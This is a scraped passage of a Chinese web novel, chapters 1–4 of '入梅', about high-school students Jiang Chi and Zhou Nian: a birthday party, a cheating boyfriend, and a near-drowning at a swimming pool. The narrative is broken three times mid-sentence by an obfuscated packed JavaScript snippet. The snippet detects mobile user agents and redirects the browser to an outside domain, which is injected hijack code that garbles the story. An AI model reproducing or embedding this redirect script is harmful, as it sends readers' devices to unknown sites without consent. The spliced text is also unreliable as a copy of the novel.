《入梅》 1. 第 1 章 春末夏初,江南入梅,老天不顾凡人死活,雨水总是淅淅沥沥掉不完的。 这天风大又逢雨,江池撑着黑伞站在一中后门。正值晚自习下课,学生往来不断,偶有女生侧目看来。 一米八的大高个,到哪儿都很扎眼。 没一会儿,赵樾顶着书包风风火火跑来,他一个屈身躲进伞里。 “什么事儿那么急,非得来校门口等我,晚点去网吧碰个头就是了。” 江池把手机挪到他面前,点开相册。 “认识吗?” “嚯,一中学神,能不认识吗。” 赵樾接过手机,仔细端了一眼,肯定说:“周念,我们学校神一般的存在,据说她一个高二生参加高三二模测试拿了市第一名。” 他竖着手指夸张地比划了‘第一名’手势后疑惑道:“你找她干嘛?” 风马牛不相及的两人。 江池又问:“熟吗?” “熟,整个一中就没有我赵樾不熟的人。” 说熟那是假的,但周念是赵樾女朋友叶琳的好闺蜜,有这层关系在,打听点事儿不在话下。 赵樾:“看上人家了?” 印象中江池对不熟悉的事和物都表现得兴致缺缺,至少之前,没有一个人能让他产生这般兴趣。 大概是觉得荒谬,江池极浅地哼笑一声,懒得解释只说:“帮我留意下她最近动向。” “托人办事总得告知原因吧,她可是我们学校的‘校宝’级人物,多看她一眼都能被教务处抓去严刑拷打,逼问我是不是对她图谋不轨。” 赵樾上翻的眼珠配合着夸张的语气把‘贱嗖’二字体现地淋漓尽致。 江池沉下脸,眸子里多出一份冷冽,有警告意味。 这头立马恢复如常,奈何好奇心驱使又不甘地问了遍。 “说说呗,为什么要打听她呀?” 静默数秒,江池出了声。 “吓唬吓唬她。” 江池也是最近才发现母亲傅妍被人跟踪了,与其说是跟踪不如说是骚扰。 起初,那人只是在傅妍回家的途中对她出言不逊,都是些不堪入耳的污言秽语,大抵是勾引人家丈夫,破坏人家家庭。再后来,她会突然冲过来对傅妍进行推攘与拉扯。 好几次,傅妍脸上都挂了彩。 时间久了,难免遭来周遭闲话。有说她一把年纪打扮得花枝招展勾搭男人的,有说她死了丈夫耐不住寂寞的。更有甚者说她假清高,表面推掉亲友介绍,暗地却饥渴难耐的。 有一次,那人骚扰傅妍时正巧被江池撞上,他没立即出手制止而是等闹剧过后不声不响地紧随其后。一路尾随至那人家中,再然后就看到有个女生进了同一栋洋房。于是他猜测这人就是女人的女儿 照片就是当时拍的。 江池的目的很明确,想借周念警告骚扰者,让她适可而止。 当然他没把来龙去脉一一说给赵樾听,一是不想多费口舌,二是怕赵樾多嘴把傅妍的事情讲给狐朋狗友听,毕竟不是什么光彩事。况且在他们眼里他跟傅妍早就没了联系。 初识周念是三天后的事情,这天是银城入梅以来在雨中浸泡的第五天,空气依然氤氲湿潮。 周念拐出厕所时瞥到楼道里亲昵的男女,只一眼便不动声色地移开。 回到座位,叶琳正一门心思地捣鼓着手工礼物,这是她为赵樾准备的,一只毛毡小狗。见她乐在其中,周念迟疑片刻,最终没把刚刚看到的一幕告诉她。 叶琳举起小狗晃了晃,急于展示自己的劳动成果。 “小念,怎么样?好不好看。” 周念点点头:“好看。” 叶琳知道她惯会捧自己场,又向后桌求认可,得到肯定答案后才心满意足地把小狗收进盒子。 “赵樾这货就偷着乐吧,找我那么好一个女朋友。” 周念抿了抿唇没有接话,趁着空档又背了几个单词。在背诵到第四个单词的时候,英语书本被人一掌合实。 叶琳兴奋的声音入耳。 “你怎么来了?” 来人是赵樾,显然找的并不是她。 “找周老大有点事儿。” “你找小念什么事?” 什么事是需要越过我单独跟她聊的。 叶琳的语气像开盖的醋瓶,是个人都闻得出来。赵樾掐了把她的脸蛋:“瞧你,谁的醋都吃。” 叶琳一把打飞他的手:“少来。” 周念望了眼挂钟,临近上课干脆把英语书放回抽屉。 “你找我有什么事吗?” “今天我生日,周老大赏个脸参加一下我的生日派对呗。” 怕人误会他又补上一句:“没别的意思,就人多热闹。你是叶琳的闺蜜,四舍五入就是我的姐妹,姐妹怎么能不来参加我的生日呢。” “你说对吧?” 叶琳一脸嫌弃:“谁跟你姐妹?” 赵樾摸了摸她的脑袋低声哄道:“你以为我为了谁?还不是怕你一个人寂寞。到时候我顾及不了你,你一个人呆着我不心疼呀。” 叶琳挺吃他这一套,讪讪一笑后挽起周念的胳膊撒娇:“小念,要不你也去?” 周念摇头:“我没时间。” “哎呀。”叶琳拽了她的手摇晃:“就当放松放松了,每天看书眼睛都要瞎了。再说了,今天张姨晚班,没人管你。” 她口中的张姨正是周念的母亲张宁,平时张宁对周念看管甚严,只有她不在的时候周念才能抽空出来透透气。 周念斟酌几秒后点了点头。 “好吧。” 把生日派对办在ktv像是约定俗成的规矩,赵樾也不例外。 周念和叶琳是最后一个到的,因为周念的坚持,他们上完了最后一节晚自习才姗姗而来。 或许是穿校服的原因,路过前台时,服务员嘴露讥笑好一顿打量。叶琳捕捉到这个细节,不甘示弱地瞪了回去。 “看什么看,穿校服唱歌犯法?” 话虽如此,她还是掏出了事先准备好的抹胸吊带和热辣短裙。将周念拉入厕所后,她把衣服比划一番问:“这样穿会不会太暴露?。” 周念实话实说:“有点。” “好看就行。” “……” 趁她换衣服的空档,周念走到楼道口呼吸新鲜空气,好巧不巧又看到了赵樾和刚才那个女生。 不同于之前的举止亲昵,这次是在拉扯。 “姜小小,你有病吧,逢场作戏懂不懂啊?玩个游戏你还当真了。” “赵樾,你不喜欢我,你亲我?” “你当我一时冲动不行?” “冲动就是喜欢,真的理智你怎么亲的下去。” “行行行,你说什么就是什么。但今天请你先回去行吗?我女朋友在,我不想让她误会。” “是误会吗?不是你做贼心虚吗?” 周念在两人争吵结束前回到了厕所,这时叶琳已经穿戴完毕贴着镜子抹口红。 周念见她一身清凉,把校服递过去。 “穿个外套吧,这里温度低。” 叶琳满不在乎地摆摆手:“我不冷。” 她执意如此,周念不再勉强,把校服叠好放回她的书包。 叶琳和赵樾交往的时间不长,但当她开门时,为数不多认识她的人都开始起哄。 “女主角来了!” “樾嫂来了!” “亲一个,亲一个。” 叶琳毫不避讳地朝赵樾飞扑过去,在他脸上狠狠地啄了一口。两人在众人面前没羞没臊地秀起了恩爱。 周念则很自觉的退出人群,默默地挤到角落, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107882|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落昏暗很适合当一个透明人。她抱着书包正打算往沙发坐去,只觉有一股力量搂着她往边上带了一下。待她坐定,肩膀的力量立刻松弛下来。 她不解地朝旁边的男生看了眼。 江池瞥了眼她身侧,漫不经心地解释:“边上有水。” 她抿了抿唇,颔首道:“谢谢。” 包厢吵闹,有人起哄,有人鬼哭狼嚎,周念胸口一阵漫长起伏,一向喜静的她觉得脑袋突突地疼。 “喝什么?” 江池把空玻璃杯往她面前一放,偏头看她。 周念不确信道:“我吗?” “啤酒还是饮料?” “橙汁就行,谢谢。” 江池倒酒的手滞了滞,转头看她,唇角的笑若有似无。 “不说谢是评不上三好生吗?” 迷离的灯光和嘈杂的环境让周念有些恍惚,纵使这样,她也分得清对方是在找茬。她不争辩,捧起果汁抿了小口后开始留意四周。最终在对面的沙发角落找到了姜小小。 姜小小独自一人窝在沙发喝闷酒,短短十分钟,面前的酒瓶空了三个。她看赵樾的眼神过于明目张胆,直白又热烈,丝毫不在意别人怎么想。 很显然,她想给叶琳下马威。 好在叶琳神经大条,脑回路够长,瞟到这头时只觉得这人应该是心情不好,借酒消愁。不然以她的脾气,这些空玻璃瓶很可能成为被指证的凶器。 深夜的少年无比亢奋,不知道是谁扯着嗓子鬼叫一首《死了都要爱》把气氛直接拉到了高潮。周念下意识捂住耳朵,丧气般长舒一口气。 就在这时,伴奏声急速下降,众人正在兴头上,音乐一停纷纷傻眼。只听江池不紧不慢地喊了句:“消停点吧,也不嫌吵。” 众人扫兴嘘声。 江池提了几声耳熟能详的抒情曲,这才让包厢气氛有所缓和。几个男生觉得没趣,开始玩骰子喝酒,姜小小自然而然的加入其中。半晌,她就不甚酒力,踉踉跄跄走出包厢。 赵樾也借口跟了出去。 周念静候两分钟后来到叶琳身边。 “陪我去趟厕所吧。” 叶琳唱歌唱的正嗨,直接对着话筒说:“等我这首唱完。” 周念眉头浅皱吞吐说:“我急。” “真拿你没办法。” 路过厕所没人,经过楼道也没人。 叶琳匪夷所思:“你不是要上厕所吗?怎么不进去啊?” 周念不想就这样无功而返,又借口说:“里面太吵了,我闷得慌,陪我去天台透透气吧。” “啧,你这人。” “好吗?” 她眨了眨眼,自带一副娇怜模样,叶琳只得缴械投降,哭笑不得说:“好吧好吧,真是怕了你了,最多十分钟哦。” “嗯。” 好在周念的赌运向来不错,赵樾和姜小小果然在天台。当时,姜小小在漱口,而赵樾正在给姜小小拍背。 大条的叶琳刚想上去询问情况就被周念扯住衣角。 “等等。” “怎么了?” 叶琳不明所以,反应了数秒后才明白周念为何大费周章把自己带上天台。 倏然间,姜小小竟莫名其妙地抱膝抽泣起来。赵樾自觉理亏好声好气得哄道:“是我不好,让你误会了。” 这话一出口,姜小小哭得更委屈了。 “你混蛋,大骗子。” 赵樾耐着性子道:“好好好,我混蛋,我是骗子,我不该对你做那些事。我承认我确实有那么点喜欢……” 话音未落,姜小小蓦地抬头,吻住他的唇。 赵樾没回应,也没闪躲。 短短几秒,叶琳脑中属于两人的欢愉时光被眼前画面撕得细碎,她红着眼眶,握紧拳头上前。 “狗男女!” 2. 第 2 章 闹剧草草收场。 叶琳坐在马路牙子上,一把鼻涕一把泪地给周念讲述与赵樾的恋爱史。越讲越伤心,越讲越生气,后悔当时没多给那对狗男女几个大耳刮子。 “可是……他对我也挺好的,我想要什么都给我买,还承诺跟我考一个大学。” 赵樾的成绩远优于她,于她而言赵樾愿意考同一个大学是对她的恩赐。 周念帮她擦掉眼泪,把她鬓发挽到耳根。 “你喝多了。” “我没有。” “我听人家说判断一个人如何,不是听他说什么,而是看他做什么。”她反问道:“换做是你,你会接受一个普通朋友的吻吗?” 叶琳蓦地一噎,瞬间哑然。 既然打算把她敲醒,周念不介意再给她一棒。 “你说他喜欢你,那他为什么不追出来解释?” “……” 叶琳一身酒气不方便回家决定在周念家暂住一晚。 周念醒来时玻璃窗上还挂着水珠,天色阴沉分辨不出时间,手机显示六点零五分。叶琳背着她蜷缩在床角,嘴里满是梦呓。 周念轻拍她后背,对方没动,看她睡得香,周念没忍心叫醒她,简单洗漱一番自顾自下了楼。与此同时,门外响起钥匙碰撞的脆响,张宁拎着一袋包子开门而入。 “醒了?” “嗯。” 张宁把门带上,包子随手扔在了餐桌上。 “小琳也在?” “嗯,昨晚同学生日,她喝了点酒怕她妈担心就直接住下了。” 张宁眉心一拧,匆匆端她一眼。 “你呢?喝了吗?” “没有。” 张宁松了口气,转而语重心长道:“小孩子学什么喝酒,以后长大了有你们喝的。” “知道了。” 母女两聊了几句开始张罗起早饭,周念看时间差不多就把叶琳叫醒。三人坐在小餐桌上吃起了早饭。 这时,周宏伟从楼上走了下来,他没就坐,从沙发上捞起公文包目光掠过母女直接看向叶琳,语气和蔼。 “琳琳也在啊。” 叶琳揉了揉惺忪的睡眼,有气无力地应了声:“嗯,叔叔早。” “嗯你慢慢吃,我先走了。” 说罢,转头就走,连句多余的废话都懒得跟张宁交代。 张宁拉着长脸,嚼着包子轻生咒骂:“怎么没饿死在外面。” 叶琳察觉到其中微妙,瞬间醒了大半,她尴尬地嚼着包子不敢多问。 周念咬了半个包子就咬不动了,后半程完全靠着毅力将剩下半个吞进肚子,吃完,她又咽下半杯牛奶。 张宁冷眼看向剩下的半杯。 “喝完。” 原本叶琳也饱了,听到她不容置喙的语气立刻将最后一口奶灌进胃中。 好险。 不知为何,她特别怵张宁。 昨天睡太晚,周念有些反胃,实在咽不下。但她清楚在张宁面前所有的反抗都是徒劳。于是她乖乖地握起杯子。 “还有一个月就期末了,书看得怎么样?” 这话是对周念说的。 周念:“还行。” 张宁不着神色地反问:“什么叫还行,看了就是看了,没看就是没看。” 对话过于窒息,叶琳无意识地咽了口唾沫,仿佛被审判的那个人是自己,她无比后悔昨晚留宿在这儿的决定。 喝个酒罢了,何苦受这罪。 沉默数秒,周念点头:“都看了。” 回复与预期一致,张宁的语气缓和不少,开始老生常谈:“念念,妈妈也是为了你好。现在你成绩虽然还不错,但你不能只局限于银城这个小地方,你看看外面大城市,师资力量,教育资源哪点不比银城好,人家孩子都在努力往上爬,你只能卯足了劲往前冲。” 周念眼神垂落在空玻璃杯上,不知想些什么,最后浅浅地点了点头。 这顿早饭吃得比坐牢还煎熬,甚至让叶琳忘了自己刚失恋来着。走出两条巷子她才敢回眸张望,确定两人已经离开张宁视线范围她才如释重负地喘了口气。 “我可太同情你了。” 话音未落,周念突然感到胸口一阵恶心,须臾,刚进口的包子和牛奶被一股脑吐了出来。 * 浑浑噩噩地度过了一上午,好不容易熬到饭点,叶琳想拉着周念去食堂:“今天吃什么。” “我中午请了假。” 周念将课本塞进书桌,背上书包准备要走。 “去趟医院。” “阿姨晚上还失眠?” “嗯,我去取点安定,下午就回来。” “好吧。” 周念小姑周宏珊是银城有名的睡眠障碍科医生,她的诊室向来拥挤,等最后一个病人离开已经是半个小时后的事情了。 “小念来了。” 周宏珊打开抽屉,抽出一个牛皮纸袋递过去并嘱咐道。 “药量照旧如果还是睡不着可以适当增加半片。” 周念掂了掂分量,很轻。 “小姑,药能多开点吗?我怕后面没空过来。” 周宏珊豁然:“对哦,你都要上高三了,那我再写个单子,一会儿你自己去药房拿。” “好。” “我听说你爸妈又吵架了?” 周念浅浅地抿了抿唇,算是默认了。 “他们也真是,你都要高三了,最重要的时刻,三天两头吵架也不怕影响你。” 周宏珊愤愤不平的埋怨几句后询问了周念的近况,又过去十几分钟周念才离开医院。 她在学校附近随便进了家饭馆找了个角落的位置落座。点完餐,她把后取的安定分成两份,其中一份放回原来的袋子,另一份用黑色塑料袋小心翼翼地装好放在书包的隔间。 没多久,店里进来三五个男生,打头的男生报了几个菜名,轻车熟路一看就没少来。周念本能地看了眼,发现赵樾也在其中,她没多看,照旧埋头吃饭。 是江池先发现她的。 这些天张宁没有再找傅妍麻烦,所以‘吓唬吓唬她’的计划也被搁置下来。‘接近周念’这件事就没那么迫在眉睫了。 昨晚那场闹剧他没在现场,但也听说了。于是他用胳膊撞了下赵樾,下巴冲周念方向扬了扬。 赵樾如见救星,两眼放光。 “周老大!帮帮我。” 周念嚼着面条,脸上没什么情绪。赵樾见她没抵触,怪不好意思地摸了摸后脑,语无伦次地解释道。 “我昨晚酒喝多了,而且是姜小小先动手的,真不是你们看到的样子。” 周念微不可察的动了下唇角,没说话。 “琳琳把我微信和电话都拉黑了。帮我跟她说一声,晚自习前我在天台等她,昨晚的事我需要解释。” 说完从口袋里掏出赔罪用的香蕉奶。 “她上次想喝的时候小卖部卖完了,今天刚进,我就给她买了。” 周念还是无动于衷,但她向来话少,赵樾没在意。 “务必告诉她,我在天台等她,她要不来,我 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“明天开始,我课上就不打瞌睡了,我打一个哈欠你就使劲的掐我一下。中午和自习课我就去画室。其余时间一律看书。” 这样的豪言壮志,叶琳不只说过一次,睡一觉就抛得一干二净,周念对此见怪不怪,半天挤出两个字:“挺好。” 两人聊的正欢,伴随着一阵热风,店门被打开,赵樾一行人走了进来。 叶琳笑容僵住,白眼一翻,给周念使了个眼色。 “见鬼了,小念,我们走。” “等等。” 赵樾一大步迈拦住两人去路,整整一下午的等待磨光了他的耐心。 “不来就不来,你说一声就是了,我在天台傻乎乎地等你一下午你不知道?” “你神经病吧!” 叶琳觉得莫名其妙,没好气地说:“你脑子有坑吧,鬼知道你在天台等我。” “什么意思?” 赵樾眉头紧锁,转而看向周念。 “周念,你没告诉她吗?我在天台等她?” 叶琳不解地偏向周念:“小念?” 只见周念不紧不慢地反问赵樾:“你什么时候让我说的?” 得! 整我是吧。 赵樾冷笑道:“那香蕉牛奶呢?你也没给她?” “我不知道你在说什么。” “你不知道我在说什么?” 赵樾气急败坏地踹了脚边上的椅子,转向一旁的江池说:“阿池,你说说,是不是我把香蕉牛奶给周念让她帮我交给琳琳的。” 所有人的目光再次转向江池,他贴着椅背,略显慵懒地坐在椅子上刷手机。他抬起头,目光一扫与周念相撞。 她的眼神,坦坦荡荡,要不是亲眼所见,根本看不出是在撒谎。 “忘了。” “……” 赵樾:“阿池?” “赵樾你还有什么话要说?” 叶琳狠狠的剜了他一眼:“从今以后别来烦我。” 说完,拉着周念往外走。 赵樾气不过,找江池理论。 “你怎么回事,帮她不帮我?” 江池事不关己地耸了耸肩。 “你看她脸上是不是写着‘无辜’两个字。你猜叶琳是信她还是信我?” “……” 3. 第 3 章 六月初迎来一年一度的高考,教室被占用,高二生可以光明正大的偷懒。 江池一个人住,他的别墅自然而然地成为大家的聚集地。这种日子,大伙儿都会带上啤酒烧烤不请自来。 赵樾心情不好,急需借酒消愁,等了半天也没等到开瓶器,干脆自己跑去厨房找。 厨房很大,仅仅是大,所有设施一览无余,无一例外都蒙了灰尘,应该很久没人打扫了。之前别墅里是有阿姨的,恰逢江父江桥去世那段时间阿姨告假回家,之后江池就懒得再找。平时他吃喝都在外头,犯懒时会点外卖,自此厨房就形同虚设了。 有人一同跟进门。 赵樾在冰箱一侧的挂钩上取下两个开瓶器,其中一个递给徐明。徐明是个酒鬼,酒瘾上来熬不住,盖子一开仰头闷了半瓶。 “爽。” 赵樾皱眉看他:“少喝点,别年纪轻轻喝痛风了。” “开玩笑,我一中酒神。” 徐明冲江池方向努努嘴。 “阿池是花吗?怎么天天有蝴蝶在边上飞来飞去的。” 只要他在场,女孩都爱围着他转。 赵樾乐了:“你要长他那样,他那儿的蝴蝶至少得分你一半。” 徐明不以为然:“不,是大半。” “怎么说?” “我没他那么不解风情。” “也对。” 江池异性缘好大家有目共睹,毕竟脸和个头摆在那儿。但这人偏生不解风情,有女孩投怀送抱他不接受不拒绝,开心时调笑两句,沉默时懒得看你。从始至终也没认认真真地跟谁好过。 “他最近对一个姑娘挺上心的。” 想到周念,那股幽怨劲就冒上心头。赵樾怀疑自己当时是不是耳背听错了,把‘爱护爱护她’听成了‘吓唬吓唬她’。 “谁啊?” “周念。” 徐明卡顿三秒。 “是那个周念?” “就是那个周念。” 又沉默三秒。 “我不信。” “……” “爱信不信。” 周念在他们这类自诩放荡不羁、自由随性的人眼里并不是一个具象的人。更像是一台会说话会呼吸的学习机器。是各科老师把他们贬的一无是处时的参照物。是表彰大会上随时准备登场的道具模型。 她应该存在于与他们相割离的平行世界中。 徐明不可置信地憋出三个字:“你骗人。” “你谁啊?我稀罕骗你?” “那你说说,怎么个上心法?是端茶递水了还是鞍前马后了。我和周念一个学校,我怎么没看到阿池来找过她。” “阿池手机里有周念照片!不只一张。” 男男女女七八个人在客厅喝酒聊天,江池习惯性地窝在沙发一角,他酒量一般,也不热衷,这种场合会适当喝一点。裤袋里的手机震了震,是游泳馆联系人的微信。 你好,志愿者。 请您于今日15:00之前前往城南游泳馆进行换班。如另有安排请尽早说明。谢谢。 李东 退出微信界面,手机显示14:28。 少年们的话题不外乎男女情爱。都是些不怕死的,一个个调侃起赵樾逼问他到底是叶琳嘴巴软还是姜小小嘴巴软。 其中宋佳月叫的最起劲。 “我猜肯定是叶琳,她比姜小小漂亮。” 赵樾也不是吃素的,笑着回怼道:“阿池的最软,可惜咯,你想亲都亲不到。” “你!你混蛋。” 宋佳月余光瞥向江池,娇嗔道:“谁要亲啊” 江池事不关己地笑笑,他向来都有置身事外的本事。他一笑,宋佳月的脸就越发烫了。 赵樾继续气她。 “你想亲也晚了,阿池已经心有所属了。” 一众人出奇一致地看向江池。 “谁啊?有这本事?” 江池摊摊手意思是:我也想知道是谁。 赵樾:“周念啊,前几天他还帮周念欺负我呢。” 宋佳月:“阿池真的假的?” 江池漫不经心地看了眼手机,时间差不多了。他捞起包有泳衣泳裤的袋子。 “你们听他放屁。” “你现在去哪儿啊?” “游泳馆。” 游泳馆坐落在银城南郊,从老城区过去要半个小时,由于位置偏僻加上设施老旧已经很少有人去了。像这种工作日,一天都看不到几个人。 江池迟到了十分钟,跟他交接的救生员敢怒不敢言。毕竟这种犄角旮旯十天半个月都来不了一个面试的,更别说不要钱的志愿者了。 李东顺顺气强迫自己微笑。 “来那么晚,家里有事儿啊?” 江池:“没事。” 李东:“……” 江池穿戴完毕,随口问了句:“里头还有人吗?” 李东:“没。不对,有。” 江池有点不耐烦:“有还是没有?” “有是有一个,但人没在水里。” “?” “人在背英语呢。” “……” 江池发现在游泳馆背英语的人是周念时突然笑了,脑中居然蹦出‘缘分’、‘宿命’诸如此类矫情的词。 是她撞上来的,他想。 江池没有按计划坐在救生椅上,而是坐在高处看台居高临下地注视她。她瘦瘦的,白白的,微佝着背,穿着昏灰色的泳衣,远远望去像一只孱弱的小野猫。 书看久了脖子发酸,周念把书放在密封袋里扣实封条。下水前,她往胸口拍点水,室内水温不高,她本能地打了个激灵,随后身体一挺双腿入水。 水位线到她锁骨位置,视线很自然的平视着起伏不定的水面。她深深吸了口气,屏气,伸手,蹬腿,慢慢地游了起来。水面将世界切割成两半,入水的瞬间有种掉入荒芜大海的错觉。五十米的距离被耳边的水声无限拉长,触壁时周念能明显感到双腿无力发软。她双手叠在池边小憩了会儿,很快,又潜入水中折返回去。 就在这时,右侧小腿处突然传来一阵钝痛,紧接着整条腿开始不听使唤。 抽筋了! 周念下意识用手去摸小腿,一着急猛呛了口池水,她伸手在水里挣扎了下却没能站稳,身体瞬间失去平衡。 江池意识到那头出了状况,他猛然起身,倏地想起什么。静了秒,又坐回看台。他贴着椅背,故意让坐姿看起来随意慵懒,手指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107884|163973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 附和墙上的挂钟点结拍。 哒哒哒。 秒钟走过一圈又一圈。 奇怪,他居然没有半点报复的快感。 周念越挣扎越无力,几乎快放弃时,无声的世界一阵闷响,少年如银鱼一般闯入她的视线。 她已经忘了江池是怎么把她带上‘岸’的,只记得他落水的一瞬阳光穿透玻璃散入池中,刚好落在他四周,他就像条布满银鳞的鱼散着朦胧的光。 口鼻充斥着浓烈的消毒水味,周念皱了皱眉平复了好一会儿才侧头道谢:“谢谢。” 半晌,身边的人双手撑地坐了起来。 “下水前不知道热身吗?” 有质问的意思却听出质问的语气。 周念:“忘了。” 江池显然对她这个轻描淡写的答案不太满意,他闷笑一声说:“这是常识。” “嗯,下次不会了。” 如果说刚刚那句‘忘了’像是在敷衍,那这句的认错态度颇为诚恳。江池偏过头,眼眸微垂,视线落在她沾有水滴的脸上。 长睫毛,单眼皮,瞳仁在光的映射下呈现出剔透的琥珀色,山根处有一颗微小的痣,不仔细看难以察觉。泳帽里漏出一丝头发伏贴的黏在鬓边,偶尔滴下水珠。 从她脸上看不到半点张宁的影子。 起码不让人讨厌。 “那天为什么要撒谎?” “嗯?” 视线从她脸上收回,他嘴角露出一丝讥嘲的笑。 “是听不懂还是在装?” 他既然这样说,再装就有点刻意了。 周念轻抿嘴唇:“我从头到尾都没答应过他帮他传话。既然没有答应那就不算撒谎。” “你没拒绝。” “在我看来没答应就是拒绝。” “那你知不知道赵樾旷了一下午课,被学校记了过。” “那是他的事。我只知道做错了事就应该得到相应的惩罚。” 他哼了声:“撇的可真够干净的。” “滴滴~” 一记尖锐的哨声打断对话,闭馆的时间到了。 不愉快的对话就此打住,江池从地上爬起来,甩干头发低眸看池边磨磨唧唧的某人催促道:“走吧。” 周念缓缓起身,脚尖点地确认无恙后应了声:“嗯。” 从游泳馆出来,日头已经很低了。周念想在分开前再次道谢,但江池没给她机会,自顾自走在前面。 意外的是,回程居然同路。 于是两人相隔数米一路无言。 走了几步,周念突然加快脚步,小跑到江池身边与他并肩。 “今天的事还是要谢谢你。” 江池不动声色地睨了她一眼,身子一转拐进小路。周念在岔路口顿了顿,犹豫片刻跟了上去。 江池:“怎么谢?” 周念:“……” 江池:“口头感谢?” 周念:“当然不是。” 江池:“那请我吃饭吧。” 周念:“好。” 江池:“现在。” 周念:“……” 她不接话,表示为难。江池低嗤:“为难就算了。” 周念:“可以,不为难。” 4. 第 4 章 南郊相对荒凉没什么像样的餐饮店,当然也有一些因为太像样而导致消费能力不够格的。周念询问江池想吃什么,江池说随便。接下来的十分钟,周念都在找店。 江池有点不耐烦:“还请吗?” 这语气像在怀疑她拖延时间。 边上是家的日料店,透过一整面落地窗能看到里头的装修风格和各式菜色,这家店从里到外无不彰显四个大字:我不便宜。 江池双手插在裤袋,气定神闲地往里走,左脚跨进门槛回头看了眼周念。 “救命之恩,不过分吧。” 周念握了握书包带点点头:“不过分。” 江池见她这幅局促模样突然觉得挺好笑的,于是转过身时低头笑了笑,心里有种戏弄人的快感。 餐厅人不多,服务员把他们安排在靠窗的位置,点单时周念把菜单推向江池。 “你看看想吃什么。” 江池没打开菜单,直接向服务员报了几个菜名,看样子应该是这里的常客。 服务员问:“喝点什么?” 周念想了想说:“有杨梅汁吗?” 服务员略带抱歉的摇摇头:“不好意思,杨梅已经过季了,要不试试我们家橙汁?” 周念点了点头说好。 江池:“你喜欢吃杨梅?” 周念:“杨梅汁生津解渴。” 江池‘哦’了声,没下文了。 等餐间隙,服务员送来几道开胃前菜和一份精致的芒果沙冰,她把沙冰特意放在周念面前,说是店里的新出的菜品免费赠送给顾客品尝。 周念道谢后把沙冰推向江池:“给你吧。” 江池疑惑:“不喜欢?” 印象中女孩应该爱甜口,以往来这里宋佳月每次都会点草莓口味的吃。 “我芒果过敏。” 她把冰沙又推进一点。 “你吃吧,别浪费了。” 江池眉梢微挑,意味深长地看了她一眼,随即微不可查地扯了扯唇角,半晌才说:“我也芒果过敏。” 周念轻声叹气:“那真是可惜了。” 菜上齐,江池却没怎么动筷,依旧松松垮垮地贴着椅背,偶尔玩玩手机,偶尔望一下窗外。 周念主动找了个话题:“你怎么会在这儿当救生员?” 他看起来并不缺钱。 “闲的。” “……” 江池把手机屏幕反扣在桌上,问她:“那你呢?怎么会在这里。” 周念:“听说高三体测会有游泳项目,我不太熟练,就过来练练。” 江池:“看出来了。” 周念:“……” 又一次进入沉默,依旧是周念在找话题。 “溺水的人多吗?你救过几个?” “不多,你是第一个。” “……” 话题无聊生硬,江池又把手机翻了过来,碰巧有语音打过来。他没拿起来,直接按了扬声器。 “怎么还不回来啊,大家等着你吃晚饭呢。” 是女孩的声音。 “你们自己吃吧,我已经在吃了。” “你跟谁吃的?” 江池看了眼周念,她正低着头小口进食。 “你不认识。” 对面娇嗔道:“男的女的?” 江池用手拧眉,语气有点烦躁:“你少管。” “阿池!” 这声阿池女孩拖了长音,周念能想象到她跺脚撒娇的模样。可惜,还没拖到最后一个音,就被江池挂断。 他从口袋里摸出一只打火机在桌上扣了几下,示意自己去门口抽根烟。目送他出门,周念把书包里不停震动的手机取出来,上面已经有十几条电话未接和二十几条微信提示。 不用想都知道是谁的。 她深深吸气,做好被张宁暴风洗礼的准备,果然电话一接通就是她声嘶力竭的质问。 “你去哪儿了?电话为什么不接?一整个下午都不在,是不是跟琳琳去鬼混了?我早说了少跟琳琳在一起,人家艺术生文化课随便考考就行了,你跟她不一样。” “我在图书馆,刚刚去吃饭了手机忘带身上了。” 她面色平静,波澜不惊,听不出是在撒谎。 张宁半信半疑。 “真的?” “嗯。” “那你拍一张图书馆的时钟照片给我。” “好。” 或许是周念答应的太干脆,张宁自觉刚才失态,语气好转许多。 “妈妈不是不信你,主要你现在要高三了不能像以前那样放松。那根弦呀要绷紧点。” 周念打断道:“好了,妈,我得看书了,看完就回来。” “嗯,好。” 电话最后张宁还不忘提醒她:“记得把图书馆时钟照给我发过来。” 手机切换到相册,周念往上翻了好久,里面有几十张画面几乎一致的照片,唯一不同的就是挂钟上的时刻。 面对张宁,她早有准备。 她选了张最接近的时刻,等了两分钟,时间与图片时间完全重合后按下发送键,图片下备注道:别担心,一会儿就回来了。 张宁似乎很满意回复了笑脸表情。 江池抽烟回来顺手把单结了,以至于周念打算扫码结账时一时错愣。 “我把钱给你吧。” 江池把账单扔在桌面上,好整以暇地看她:“这顿三千。” 言外之意,你付得起吗? 周念倒没他想象中的惊愕,但能从她轻咬嘴唇的细节中察觉出一丝无措。 江池不为难她:“这次算我的,下次你请。” 周念:“不用,你把微信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 